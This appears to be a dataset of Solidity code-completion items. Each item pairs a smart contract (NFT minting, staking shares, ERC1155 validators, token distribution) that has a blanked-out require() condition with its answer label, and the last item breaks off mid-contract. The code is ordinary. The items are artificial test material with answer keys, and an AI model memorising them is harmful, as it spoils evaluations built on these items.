comment
stringlengths 1
211
β | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"NmxStakingRouter: duplicate addresses are not possible" | // SPDX-License-Identifier: MIT
pragma solidity >=0.7.0 <0.8.0;
import "./Nmx.sol";
import "./RecoverableByOwner.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "abdk-libraries-solidity/ABDKMath64x64.sol";
contract ConstantComplexityStakingRouter is RecoverableByOwner, NmxSupplier {
using ABDKMath64x64 for int128;
address immutable public nmx;
struct ServiceSupplyState {
uint256 processedSupply;
int128 share;
}
address[] activeServices;
uint256 public totalSupply;
mapping(address => ServiceSupplyState) public supplyStates;
constructor(address _nmx) {
}
/// @dev the owner can change shares of different StakingServices in PRIMARY POOL
function changeStakingServiceShares(
address[] calldata addresses,
int128[] calldata shares
) external onlyOwner {
require(
addresses.length == shares.length,
"NmxStakingRouter: addresses must be the same length as shares"
);
int128 cumulativeShare = 0;
for (uint256 i = 0; i < shares.length; i++) {
require(addresses[i] != address(0), "NmxStakingRouter: zero address is invalid");
require(shares[i] > 0, "NmxStakingRouter: shares must be positive");
cumulativeShare += shares[i];
for (uint256 j = i + 1; j < shares.length; j++) {
require(<FILL_ME>)
}
}
require(
cumulativeShare <= ABDKMath64x64.fromInt(1),
"NmxStakingRouter: shares must be le 1<<64 in total"
);
uint256 _totalSupply = totalSupply;
uint256 activeServicesLength = activeServices.length;
for (uint256 i = 0; i < activeServicesLength; i++) {
address service = activeServices[i];
ServiceSupplyState storage state = supplyStates[service];
state.processedSupply = _totalSupply;
state.share = 0;
}
for (uint256 i = 0; i < shares.length; i++) {
address service = addresses[i];
ServiceSupplyState storage state = supplyStates[service];
state.share = shares[i];
state.processedSupply = _totalSupply;
}
activeServices = addresses;
}
function supplyNmx(uint40 maxTime) external override returns (uint256 supply) {
}
function getActiveServices() external view returns (address[] memory) {
}
function getRecoverableAmount(address tokenAddress) override internal view returns (uint256) {
}
function receiveSupply(uint40 maxTime) internal virtual returns (uint256) {
}
function pendingSupplies(address service) external view returns (uint256) {
}
function serviceShares(address service) external view returns (int128) {
}
}
| addresses[i]!=addresses[j],"NmxStakingRouter: duplicate addresses are not possible" | 496,776 | addresses[i]!=addresses[j] |
"reached max" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "erc721a/contracts/ERC721A.sol";
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
struct Conf {
uint256 publicBegin;
uint256 publicPrice;
address payable withdrawTo;
}
contract NoToAI is
ERC721A,
ERC721AQueryable,
Ownable,
AccessControl,
ReentrancyGuard,
Pausable,
DefaultOperatorFilterer
{
Conf public conf;
uint256 public constant collectionSize = 2020;
string public _baseTokenURI;
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
constructor() ERC721A("No-to-AI NFT", "No-to-AI") {
}
function mint(uint256 quantity) public payable whenNotPaused {
_mint(msg.sender, quantity);
refundIfOver(conf.publicPrice * quantity);
require(conf.publicBegin <= block.timestamp, "Not begin");
require(<FILL_ME>)
}
function refundIfOver(uint256 price_) private nonReentrant {
}
function withdraw() external onlyRole(DEFAULT_ADMIN_ROLE) nonReentrant {
}
function batchMints(address[] calldata tos, uint256[] calldata vols)
public
whenNotPaused
onlyRole(MINTER_ROLE)
{
}
function setConf(Conf calldata conf_)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function setBaseURI(string calldata baseURI)
external
onlyRole(DEFAULT_ADMIN_ROLE)
{
}
function pause() public onlyRole(PAUSER_ROLE) {
}
function unpause() public onlyRole(PAUSER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721A, IERC721A)
returns (string memory)
{
}
function setApprovalForAll(address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override(ERC721A, IERC721A)
onlyAllowedOperator(from)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(AccessControl, ERC721A, IERC721A)
returns (bool)
{
}
}
| totalSupply()<=collectionSize,"reached max" | 496,873 | totalSupply()<=collectionSize |
"INVALID_VALIDATOR_IDS" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IMintValidator.sol";
import "./interfaces/IFabricator.sol";
import "./MetadataRegistry.sol";
// write interface for
//Interface
contract Core is Context, ERC1155Burnable, Ownable, IFabricator {
event Validator(IMintValidator indexed validator, bool indexed active);
mapping(IMintValidator => bool) public isValidator;
mapping(IMintValidator => uint256[]) public validatorToIds;
mapping(uint256 => address) public idToValidator;
mapping(uint256 => uint256) public override quantityMinted;
// URI base; NOT the whole uri.
string private _uri;
IReadMetadata private _registry;
/**
* @dev intializes the core ERC1155 logic, and sets the original URI base
*/
constructor(
string memory baseUri_,
IReadMetadata registry_
) ERC1155(baseUri_) {
}
modifier onlyValidator() {
}
/**
* @dev query URI for a token Id. Queries the Metadata registry on the backend
*/
function uri(uint256 _id) public view override returns (string memory) {
}
/**
* @dev change the URI base address after construction.
*/
function setBaseURI(string calldata _newBaseUri) external onlyOwner {
}
/**
* @dev change the URI base address after construction.
*/
function setNewRegistry(IReadMetadata registry_) external onlyOwner {
}
/**
* @dev An active Validator is necessary to enable `modularMint`
*/
function addValidator(IMintValidator _validator, uint256[] memory ids) external virtual onlyOwner {
bool isActive = isValidator[_validator];
require(!isActive, "VALIDATOR_ACTIVE");
for(uint256 i; i < ids.length; i++){
require(<FILL_ME>)
idToValidator[ids[i]] = address(_validator);
}
isValidator[_validator] = true;
emit Validator(_validator, !isActive);
}
/**
* @dev Remove Validators that are no longer needed to remove attack surfaces
*/
function removeValidator(IMintValidator _validator)
external
virtual
onlyOwner
{
}
/**
* @dev Upgrade the validator responsible for a certain
*/
function upgradeValidator(IMintValidator _oldValidator, IMintValidator _newValidator)
external
virtual
onlyOwner
{
}
/**
* @dev Mint mulitiple tokens at different quantities. This is an onlyOwner-guareded
function and is meant basically as a sudo-command.
*/
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _amounts,
bytes memory _data
) external virtual onlyOwner {
}
/**
* @dev Creates `amount` new tokens for `to`, of token type `id`.
* At least one Validator must be active in order to utilized this interface.
*/
function modularMintInit(
uint256 _dropId,
address _to,
uint256[] memory _requestedAmounts,
bytes memory _data,
IMintValidator _validator,
string calldata _metadata
) public virtual override {
}
/**
* @dev Creates `amount` new tokens for `to`, of token type `id`.
* At least one Validator must be active in order to utilized this interface.
*/
function modularMintCallback(
address recipient,
uint256[] calldata _ids,
uint256[] calldata _requestedAmounts,
bytes calldata _data
) public override virtual onlyValidator {
}
function _updateMintedQuantities(
uint256[] memory _ids,
uint256[] memory _amounts
) internal {
}
function _updateMintedQuantity(uint256 _id, uint256 _amount) internal {
}
}
| idToValidator[ids[i]]==address(0x0),"INVALID_VALIDATOR_IDS" | 497,156 | idToValidator[ids[i]]==address(0x0) |
"INVALID_MINT" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/ERC1155Burnable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IMintValidator.sol";
import "./interfaces/IFabricator.sol";
import "./MetadataRegistry.sol";
// write interface for
//Interface
contract Core is Context, ERC1155Burnable, Ownable, IFabricator {
event Validator(IMintValidator indexed validator, bool indexed active);
mapping(IMintValidator => bool) public isValidator;
mapping(IMintValidator => uint256[]) public validatorToIds;
mapping(uint256 => address) public idToValidator;
mapping(uint256 => uint256) public override quantityMinted;
// URI base; NOT the whole uri.
string private _uri;
IReadMetadata private _registry;
/**
* @dev intializes the core ERC1155 logic, and sets the original URI base
*/
constructor(
string memory baseUri_,
IReadMetadata registry_
) ERC1155(baseUri_) {
}
modifier onlyValidator() {
}
/**
* @dev query URI for a token Id. Queries the Metadata registry on the backend
*/
function uri(uint256 _id) public view override returns (string memory) {
}
/**
* @dev change the URI base address after construction.
*/
function setBaseURI(string calldata _newBaseUri) external onlyOwner {
}
/**
* @dev change the URI base address after construction.
*/
function setNewRegistry(IReadMetadata registry_) external onlyOwner {
}
/**
* @dev An active Validator is necessary to enable `modularMint`
*/
function addValidator(IMintValidator _validator, uint256[] memory ids) external virtual onlyOwner {
}
/**
* @dev Remove Validators that are no longer needed to remove attack surfaces
*/
function removeValidator(IMintValidator _validator)
external
virtual
onlyOwner
{
}
/**
* @dev Upgrade the validator responsible for a certain
*/
function upgradeValidator(IMintValidator _oldValidator, IMintValidator _newValidator)
external
virtual
onlyOwner
{
}
/**
* @dev Mint mulitiple tokens at different quantities. This is an onlyOwner-guareded
function and is meant basically as a sudo-command.
*/
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _amounts,
bytes memory _data
) external virtual onlyOwner {
}
/**
* @dev Creates `amount` new tokens for `to`, of token type `id`.
* At least one Validator must be active in order to utilized this interface.
*/
function modularMintInit(
uint256 _dropId,
address _to,
uint256[] memory _requestedAmounts,
bytes memory _data,
IMintValidator _validator,
string calldata _metadata
) public virtual override {
}
/**
* @dev Creates `amount` new tokens for `to`, of token type `id`.
* At least one Validator must be active in order to utilized this interface.
*/
function modularMintCallback(
address recipient,
uint256[] calldata _ids,
uint256[] calldata _requestedAmounts,
bytes calldata _data
) public override virtual onlyValidator {
for(uint256 i; i < _ids.length; i++){
require(<FILL_ME>)
}
_mintBatch(recipient, _ids, _requestedAmounts, _data);
_updateMintedQuantities(_ids, _requestedAmounts);
}
function _updateMintedQuantities(
uint256[] memory _ids,
uint256[] memory _amounts
) internal {
}
function _updateMintedQuantity(uint256 _id, uint256 _amount) internal {
}
}
| idToValidator[_ids[i]]==address(msg.sender),"INVALID_MINT" | 497,156 | idToValidator[_ids[i]]==address(msg.sender) |
"Recipient already exists" | pragma solidity ^0.8.0;
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby disabling any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract sc is Ownable {
IERC20 public token;
address[] public recipients;
// These events will be emitted when recipients are added or removed
event RecipientAdded(address newRecipient);
event RecipientRemoved(address removedRecipient);
constructor(address[] memory _recipients) {
}
function distribute() external onlyOwner {
}
function addRecipient(address newRecipient) external onlyOwner {
for(uint i = 0; i < recipients.length; i++) {
require(<FILL_ME>)
}
recipients.push(newRecipient);
emit RecipientAdded(newRecipient);
}
function removeRecipient(address recipientToRemove) external onlyOwner {
}
}
| recipients[i]!=newRecipient,"Recipient already exists" | 497,197 | recipients[i]!=newRecipient |
"Transfer not yet allowed" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
/***
ββ β¬ββββ¬ β¬βββ β¬βββ ββββ¬ β¬ β¬ββ β¦ β¦β¬ β¬ββ β¬β¬ β¬βββ
β β©ββββββββ€β β ββ β β β β βββ΄β ββ¦ββ βββ΄ββββββββ€
ββββ΄ββββ΄ β΄ββββββββ ββββ΄ββββββββ β© βββββββ΄ββ΄ββ΄ β΄
// @author kenjo (jo.dreame@gmail.com)
*/
contract BishojoClubYubiwa is ERC721A, ERC721AQueryable, Pausable, Ownable, ReentrancyGuard, ERC2981, DefaultOperatorFilterer {
mapping(address => bool) public mintClaimed;
bool public operatorFilteringEnabled = true;
/**
* @notice The SBTMode at which the token can be transferred or approved.
*/
bool public SBTMode = true;
uint256 public constant MAX_SUPPLY = 690;
uint256 public constant MINT_PER_WALLET = 1;
string public baseURI = "";
string public prerevealURI = "https://ipfs.io/ipfs/bafkreie4p4vqrc5ilgoqm3xr5omc6zgh7etcjvqwaw4vwyfpyylwm2oanq";
uint64 public currentSaleCounter = 0;
uint64 public phaseSaleMax = 0;
// Address of OZ Defender's Relayer
address private immutable defender;
constructor(address _defender) ERC721A("Bishojo Club: Yubiwa", "BCY") {
}
// =========================================================================
// Utils
// =========================================================================
modifier checkSBTMode() {
require(<FILL_ME>)
_;
}
/**
* @notice Set the SBT mode at which the token can be transferred or approved.
* @param val true: SBT mode(Not enable transferred and approved), false: enable transferred and approved.
*/
function setSBTMode(bool val) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function getCurrentTokenId() public view returns (uint256) {
}
function resetPhase(uint64 _phaseSaleMax) public onlyOwner {
}
function setPause(bool val) public onlyOwner {
}
function withdraw() public onlyOwner {
}
// =========================================================================
// Token Logic
// =========================================================================
function mintForAddresses(uint256[] calldata _mintAmounts, address[] calldata _addresses) public onlyOwner {
}
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function mint(bytes32 hash, bytes memory signature) public whenNotPaused nonReentrant {
}
/// @dev Function to set the metadata uri.
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/// @dev Function to set the prereveal metadata uri.
function setPrerevealURI(string calldata _prerevealURI) external onlyOwner {
}
/// @dev The tokenURI logic here is copied 1:1 with the old contract to
/// @dev keep the metadata the same for each tokenId.
function tokenURI(uint256 _tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
// =========================================================================
// Operator filtering
// =========================================================================
function setApprovalForAll (address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function approve(address operator, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function transferFrom(address from, address to, uint256 tokenId) public payable virtual override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override(ERC721A, IERC721A)
onlyAllowedOperator(from)
checkSBTMode
{
}
function setOperatorFilteringEnabled(bool value) public onlyOwner {
}
function _operatorFilteringEnabled() internal view returns (bool) {
}
function _checkFilterOperator(address operator) internal view override virtual {
}
// =========================================================================
// ERC2891
// =========================================================================
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
// =========================================================================
// ERC165
// =========================================================================
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, IERC721A, ERC2981) returns (bool) {
}
}
| !SBTMode,"Transfer not yet allowed" | 497,294 | !SBTMode |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
/***
ββ β¬ββββ¬ β¬βββ β¬βββ ββββ¬ β¬ β¬ββ β¦ β¦β¬ β¬ββ β¬β¬ β¬βββ
β β©ββββββββ€β β ββ β β β β βββ΄β ββ¦ββ βββ΄ββββββββ€
ββββ΄ββββ΄ β΄ββββββββ ββββ΄ββββββββ β© βββββββ΄ββ΄ββ΄ β΄
// @author kenjo (jo.dreame@gmail.com)
*/
contract BishojoClubYubiwa is ERC721A, ERC721AQueryable, Pausable, Ownable, ReentrancyGuard, ERC2981, DefaultOperatorFilterer {
mapping(address => bool) public mintClaimed;
bool public operatorFilteringEnabled = true;
/**
* @notice The SBTMode at which the token can be transferred or approved.
*/
bool public SBTMode = true;
uint256 public constant MAX_SUPPLY = 690;
uint256 public constant MINT_PER_WALLET = 1;
string public baseURI = "";
string public prerevealURI = "https://ipfs.io/ipfs/bafkreie4p4vqrc5ilgoqm3xr5omc6zgh7etcjvqwaw4vwyfpyylwm2oanq";
uint64 public currentSaleCounter = 0;
uint64 public phaseSaleMax = 0;
// Address of OZ Defender's Relayer
address private immutable defender;
constructor(address _defender) ERC721A("Bishojo Club: Yubiwa", "BCY") {
}
// =========================================================================
// Utils
// =========================================================================
modifier checkSBTMode() {
}
/**
* @notice Set the SBT mode at which the token can be transferred or approved.
* @param val true: SBT mode(Not enable transferred and approved), false: enable transferred and approved.
*/
function setSBTMode(bool val) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function getCurrentTokenId() public view returns (uint256) {
}
function resetPhase(uint64 _phaseSaleMax) public onlyOwner {
}
function setPause(bool val) public onlyOwner {
}
function withdraw() public onlyOwner {
}
// =========================================================================
// Token Logic
// =========================================================================
function mintForAddresses(uint256[] calldata _mintAmounts, address[] calldata _addresses) public onlyOwner {
for(uint256 i; i < _addresses.length; i++){
require(<FILL_ME>)
_safeMint(_addresses[i], _mintAmounts[i]);
}
}
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
}
function mint(bytes32 hash, bytes memory signature) public whenNotPaused nonReentrant {
}
/// @dev Function to set the metadata uri.
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/// @dev Function to set the prereveal metadata uri.
function setPrerevealURI(string calldata _prerevealURI) external onlyOwner {
}
/// @dev The tokenURI logic here is copied 1:1 with the old contract to
/// @dev keep the metadata the same for each tokenId.
function tokenURI(uint256 _tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
// =========================================================================
// Operator filtering
// =========================================================================
function setApprovalForAll (address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function approve(address operator, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function transferFrom(address from, address to, uint256 tokenId) public payable virtual override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override(ERC721A, IERC721A)
onlyAllowedOperator(from)
checkSBTMode
{
}
function setOperatorFilteringEnabled(bool value) public onlyOwner {
}
function _operatorFilteringEnabled() internal view returns (bool) {
}
function _checkFilterOperator(address operator) internal view override virtual {
}
// =========================================================================
// ERC2891
// =========================================================================
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
// =========================================================================
// ERC165
// =========================================================================
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, IERC721A, ERC2981) returns (bool) {
}
}
| totalSupply()+_mintAmounts[i]<MAX_SUPPLY+1 | 497,294 | totalSupply()+_mintAmounts[i]<MAX_SUPPLY+1 |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
/***
ββ β¬ββββ¬ β¬βββ β¬βββ ββββ¬ β¬ β¬ββ β¦ β¦β¬ β¬ββ β¬β¬ β¬βββ
β β©ββββββββ€β β ββ β β β β βββ΄β ββ¦ββ βββ΄ββββββββ€
ββββ΄ββββ΄ β΄ββββββββ ββββ΄ββββββββ β© βββββββ΄ββ΄ββ΄ β΄
// @author kenjo (jo.dreame@gmail.com)
*/
contract BishojoClubYubiwa is ERC721A, ERC721AQueryable, Pausable, Ownable, ReentrancyGuard, ERC2981, DefaultOperatorFilterer {
mapping(address => bool) public mintClaimed;
bool public operatorFilteringEnabled = true;
/**
* @notice The SBTMode at which the token can be transferred or approved.
*/
bool public SBTMode = true;
uint256 public constant MAX_SUPPLY = 690;
uint256 public constant MINT_PER_WALLET = 1;
string public baseURI = "";
string public prerevealURI = "https://ipfs.io/ipfs/bafkreie4p4vqrc5ilgoqm3xr5omc6zgh7etcjvqwaw4vwyfpyylwm2oanq";
uint64 public currentSaleCounter = 0;
uint64 public phaseSaleMax = 0;
// Address of OZ Defender's Relayer
address private immutable defender;
constructor(address _defender) ERC721A("Bishojo Club: Yubiwa", "BCY") {
}
// =========================================================================
// Utils
// =========================================================================
modifier checkSBTMode() {
}
/**
* @notice Set the SBT mode at which the token can be transferred or approved.
* @param val true: SBT mode(Not enable transferred and approved), false: enable transferred and approved.
*/
function setSBTMode(bool val) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function getCurrentTokenId() public view returns (uint256) {
}
function resetPhase(uint64 _phaseSaleMax) public onlyOwner {
}
function setPause(bool val) public onlyOwner {
}
function withdraw() public onlyOwner {
}
// =========================================================================
// Token Logic
// =========================================================================
function mintForAddresses(uint256[] calldata _mintAmounts, address[] calldata _addresses) public onlyOwner {
}
function mintForAddress(uint256 _mintAmount, address _receiver)
public
onlyOwner
{
require(<FILL_ME>)
_safeMint(_receiver, _mintAmount);
}
function mint(bytes32 hash, bytes memory signature) public whenNotPaused nonReentrant {
}
/// @dev Function to set the metadata uri.
function setBaseURI(string calldata _baseURI) external onlyOwner {
}
/// @dev Function to set the prereveal metadata uri.
function setPrerevealURI(string calldata _prerevealURI) external onlyOwner {
}
/// @dev The tokenURI logic here is copied 1:1 with the old contract to
/// @dev keep the metadata the same for each tokenId.
function tokenURI(uint256 _tokenId) public view virtual override(ERC721A, IERC721A) returns (string memory) {
}
// =========================================================================
// Operator filtering
// =========================================================================
function setApprovalForAll (address operator, bool approved) public override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function approve(address operator, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperatorApproval(operator) checkSBTMode {
}
function transferFrom(address from, address to, uint256 tokenId) public payable virtual override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override(ERC721A, IERC721A) onlyAllowedOperator(from) checkSBTMode {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
payable
override(ERC721A, IERC721A)
onlyAllowedOperator(from)
checkSBTMode
{
}
function setOperatorFilteringEnabled(bool value) public onlyOwner {
}
function _operatorFilteringEnabled() internal view returns (bool) {
}
function _checkFilterOperator(address operator) internal view override virtual {
}
// =========================================================================
// ERC2891
// =========================================================================
function setDefaultRoyalty(address receiver, uint96 feeNumerator) public onlyOwner {
}
function deleteDefaultRoyalty() public onlyOwner {
}
// =========================================================================
// ERC165
// =========================================================================
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721A, IERC721A, ERC2981) returns (bool) {
}
}
| totalSupply()+_mintAmount<MAX_SUPPLY+1 | 497,294 | totalSupply()+_mintAmount<MAX_SUPPLY+1 |
"BishojoClub: Max supply exceeded!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "erc721a/contracts/extensions/ERC721AQueryable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
/***
ββ β¬ββββ¬ β¬βββ β¬βββ ββββ¬ β¬ β¬ββ β¦ β¦β¬ β¬ββ β¬β¬ β¬βββ
β β©ββββββββ€β β ββ β β β β βββ΄β ββ¦ββ βββ΄ββββββββ€
ββββ΄ββββ΄ β΄ββββββββ ββββ΄ββββββββ β© βββββββ΄ββ΄ββ΄ β΄
// @author kenjo (jo.dreame@gmail.com)
*/
contract BishojoClubYubiwa is ERC721A, ERC721AQueryable, Pausable, Ownable, ReentrancyGuard, ERC2981, DefaultOperatorFilterer {
mapping(address => bool) public mintClaimed;
bool public operatorFilteringEnabled = true;
/**
* @notice The SBTMode at which the token can be transferred or approved.
*/
bool public SBTMode = true;
uint256 public constant MAX_SUPPLY = 690;
uint256 public constant MINT_PER_WALLET = 1;
string public baseURI = "";
string public prerevealURI = "https://ipfs.io/ipfs/bafkreie4p4vqrc5ilgoqm3xr5omc6zgh7etcjvqwaw4vwyfpyylwm2oanq";
uint64 public currentSaleCounter = 0;
uint64 public phaseSaleMax = 0;
// Address of OZ Defender's Relayer
address private immutable defender;
constructor(address _defender) ERC721A("Bishojo Club: Yubiwa", "BCY") {
}
// =========================================================================
// Utils
// =========================================================================
modifier checkSBTMode() {
}
/**
* @notice Set the SBT mode at which the token can be transferred or approved.
* @param val true: SBT mode(Not enable transferred and approved), false: enable transferred and approved.
*/
function setSBTMode(bool val) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function getCurrentTokenId() public view returns (uint256) {
}
function resetPhase(uint64 _phaseSaleMax) public onlyOwner {
}
function setPause(bool val) public onlyOwner {
}
